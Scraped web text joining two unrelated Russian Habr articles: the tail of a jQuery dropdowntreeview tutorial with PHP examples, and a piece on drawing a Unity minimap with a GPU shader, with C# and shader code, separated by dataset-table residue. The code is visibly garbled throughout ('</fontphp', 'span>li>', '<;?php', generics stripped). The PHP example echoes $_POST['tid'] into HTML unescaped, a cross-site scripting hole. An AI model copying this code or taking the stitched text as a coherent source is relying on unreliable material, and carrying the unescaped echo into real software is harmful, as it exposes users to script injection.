> `<script type="text/javascript">
>
> $(function(){
>
> $('#dropdown').dropdowntreeview({},{‘url’:’test.php’});
>
> })//$(function()
>
> script>`
*Примечание: первый параметр оставили пустым в связи с тем что никаких параметров с помощью запроса нам передавать не нужно.*
4.1.2. Код test.php:
> `</fontphp
>
> // Простейшее дерево
>
> ?>
>
> <ul class="filetree">
>
> <li><span class="file">Пункт1span>li>
>
> <li><span class="folder">Пункт2span>
>
> <ul>
>
> <li><span class="file">Подпункт1span>li>
>
> <li><span class="file">Подпункт2span>li>
>
>
>
> <li class="closed"><span class="folder">Подпункт3span>
>
> <ul>
>
> <li><span class="file">Подподпункт1span>li>
>
> <li><span class="file">Подподпункт2span>li>
>
>
>
> <li><span class="file">Подподпункт3span>li>
>
> <li><span class="file">Подподпункт4span>li>
>
>
>
> ul>
>
> li>
>
> <li><span class="file">Подпункт4span>li>
>
>
>
> ul>
>
> li>
>
> <li><span>Пункт3span>li>`
*Примечание: в маркированный список добавил классы “filetree”, “file”, “folder” для отображения пиктограмм файловой системы.*
4.2. Дерево загружаемое частями
4.2.1. Добавляем JavaScript код, который подгрузит часть дерева посредством POST запроса test.php?tid=0
> `<script type="text/javascript">
>
> $(function(){
>
> $('#dropdown').dropdowntreeview({‘tid’:’0’},{‘url’:’test.php’},{collapsed:true});
>
> })//$(function()
>
> script>`
*Примечание: первый параметр — параметр передаваемый запросом, второй параметр — адрес для запроса, третий параметр – опция TreeView (показывать свернутым)*.
4.2.2. Код test.php
> `</fontphp
> // Загрузка дерева частями
> $x=$\_POST['tid'];
> $y=$x+1;
> $z='<ul class="temp"><li class="temp">li>ul>';
> ?>
>
> <ul>
> <li form='portion' tid='<?php echo $y; ?>'>
> <span>Пункт1-</fontphp echo $x; ?>span>
> </fontphp echo $z; ?>
> li>
> <li form='portion' tid='<?php echo $y; ?>'>
> <span>Пункт2-</fontphp echo $x; ?>span>
> </fontphp echo $z; ?>
> li>
> <li form='portion' tid='<;?php echo $y; ?>'>
> <span>Пункт3-</fontphp echo $x; ?>span>
> li>
> ul>` | https://habr.com/ru/post/128990/ | null | ru | null |
# Optimization Unity3d UI by GPU (for example minimap) или создаем миникарту без дополнительных камер и спрайтов
Всем привет!
«Если можешь что-то посчитать на GPU, делай это»
// Конечно в рамках разумного
VS
*Обращаем внимание на разницу в фпс*
Начну, пожалуй, с предыстории. Один из наших программистов, решил проверить UI на предмет падения фпс. И мы нашли интересную зависимость, при отключении миникарты фпс поднимался в процентном соотношении. Интересно. Нужно решать проблему. Сразу напишу что про атласы и различные пулы, мы пробовали. И тогда я решил заняться этим вопросом более детально. И тут первая мысль, которая меня посетила, UI использует материал, значит можно все перенести на ГПУ, начнем.
Начал гуглить, находил много скажем так, нехороших решений, например таких как
[Не делайте так, даже если хотите сделать быстро](https://habrahabr.ru/post/304632/).
Почему выше пример плохо, можно найти в комментариях. Но для ленивых я перечислю.
> streeter12 4 июля 2016 в 14:51
>
> Данный метод несмотря на свою простоту имеет явные недостатки.
>
>
>
> 1. Низкая производительность.
>
> 2. Для добавления новых меток надо создавать новые сферы (лишний хлам в префабах).
>
> 3. Добавление новых типов меток и их фильтров для различных игроков сильно затруднено.
>
> 4. Для смены внешнего вида метки необходимо создавать меш!
>
> 5. Лишние объекты на каждой сцене => лишняя сложность => сложнее разработка и поддержка.
>
> 6. Сложно тестировать => больше возможных багов (с учетом 3).
>
> 7. Реалтаймовая замена типа.
>
> 8. Нужно захломлять сцену фейковой подложкой.
>
> 9. Как быть с теми кто не должен учитывать вращение? обнулять в Update или таскать через tranform.position.
>
> и т.д.
>
>
Нечего не найдя, в итоге начал писать шейдер.
С чего я начал.
1. Нужно как то хранить сами иконки. Атлас подойдет. Теперь нужно найти подходящий для тестов. Взял из игры WOW. там он уже был правильного содержания.
2. Нужно как то пробросить эту информацию в шейдер. Плюс по возможности максимально отказаться от различных UI преобразований, например координаты относительно чего то и тд.
В общем, начнем реализацию.
```
static const int MaxCount = 256;
float4 _Targets[MaxCount];
float _WorldSizeX;
float _WorldSizeY;
```
Такие поля я объявил в шейдере. Поставил максимально 256 на мапе точек. Остальные будут отбрасываться. float \_WorldSizeX поле решило проблему с преобразованиями, я как есть решил кормить Vector3 в шейдер. Не хитрыми махинациями, я получил индексы и нормализованные координаты, и тем самым получил практически то что хотел.
Нюанс: GC считает y иначе снизу в врех. Я конечно сделал обратные значения, чтобы левая верхняя была индексом 0. Но потом решил отказаться от этой затеи. Лучше решать это путем верхнего слоя. Например кодом.
И того у меня были заняты 3 поля из Vector4 (X Z W) чем я занял Y будет позже.
**Тесты**
Сделав шейдер, я решил проверить разницу. Теперь фпс был на уровне добавление удаления всего одного ui элемента. Скорость возросла существенно, на первых двух скриншотах можно увидеть разницу.
Для примера как примерно выглядит скрипт для шейдера.
```
protected virtual void Update ()
{
for (int i = 0; i < list.Length; i++)
{
list[i] = new Vector4(0, 0, 0, -1);
}
for (int i = 0; i < list.Length && i < targets.Count ; i++)
{
list[i] = new Vector4(targets[i].x *k.x, targets[i].y, targets[i].z*k.y, targets[i].w);
}
image.GetModifiedMaterial(image.material).SetVectorArray("_Targets", list);
}
```
Как это использовать, мы опустим. Скажем у нас есть менеджер со списком точек для миникарты. А вы его используете как вам удобно. Кто подписками, кто сингелтоном, кто статикой. Главное не забывать обнулить список, чтобы не было неприятных моментов, и загнать все в шейдер.
Результат работы. Как было видно, я добавил еще и вращение. Но для того что-бы его использовать следует сделать иконки на достаточном расстоянии друг от друга в атласе. Я не стал выдумывать каких то сложных алгоритмов отсечения в шейдере, гораздо проще все это сделать текстурой.
Тот самый свободный Y, я решил использовать в качестве угла. С ним пришлось отдельно повозится, причина была выше, а именно инверсия координаты Y. Именно из-за вращения я решил использовать все как есть.
```
fixed a = _Targets[i].y;
fixed resultX = tX;
fixed resultY = tY;
if (a != 0)
{
fixed x0 = minX + (sizeX * 0.5);
fixed y0 = minY + (sizeY * 0.5);
resultX = x0 + (tX - x0) * cos(a) - (tY - y0) * sin(a);
resultY = y0 + (tY - y0) * cos(a) + (tX - x0) * sin(a);
}
```
Вот теперь шейдер готов. Последний штрих, это смягчение альфа канала на границах. Я использовал интерполяцию, от афьфа до барьера. Так картинка получилась качественее.
**Выводы**
Тест для статьи. Я не стал делать полное соответствие. Это бессмысленно, и поэтому контент отличается. Но чтобы понять разницу, этого более чем предостаточно. Следующим этапом, когда дойдут руки, на аналогичную систему хочу перевести тайловый инвентарь.
Выложу тестовые коды и результаты профайлера. Заполнение спрайтами.
```
protected virtual void Start ()
{
tests = new List();
float x = 10;
float y = 10;
for (int i = 0; i < 256; i++)
{
int idx = Random.Range(0, prefabs.Count);
GameObject obj = Instantiate(prefabs[idx].gameObject);
RectTransform t = obj.GetComponent();
t.SetParent(parent);
t.localPosition = new Vector3(startPosition.x + x, startPosition.y + y, 0);
if (useRotation)
{
t.rotation = Quaternion.Euler(0, 0, Random.Range(0, 360));
}
x += step;
if (i % 20 == 0)
{
y += step;
x = 0;
}
tests.Add(t);
}
}
```
Заполнения через прокси класс для шейдера
item.type = Random.Range(0, 64); означает тип иконки
```
void Start () {
tests = new List();
float x = 10;
float z = 10;
for (int i = 0; i < 256; i++)
{
Item2 item = new Item2();
item.position = new Vector3(x, 0, z);
if (useRotation)
{
item.rotation = Random.Range(0, 360);
}
item.type = Random.Range(0, 64);
x += step;
if (i % 20 == 0)
{
z += step;
x = 0;
}
tests.Add(item);
}
}
```
Профайлер для шейдера (на сцене еще 3 куба)
Профайлер для спрайтов (на сцене еще 3 image в качестве префабов)
и напоследок пример с маской:
UPD.
Разница с шейдером и без
Очень разочаровал один из комментариев, где автор хотел генерировать меш. Видимо автор, не понимает что шейдеры способны посчитать освещение тени отражения и т.д. Что для них стоит посчитать примитивные арифметические выражения? Вместо этого он решил загрузить ЦПУ.
Дополнительно к вопросу про альфу. Так я получил мягкие границы
P.S. «Если можешь что-то посчитать на GPU, делай это» | https://habr.com/ru/post/335524/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.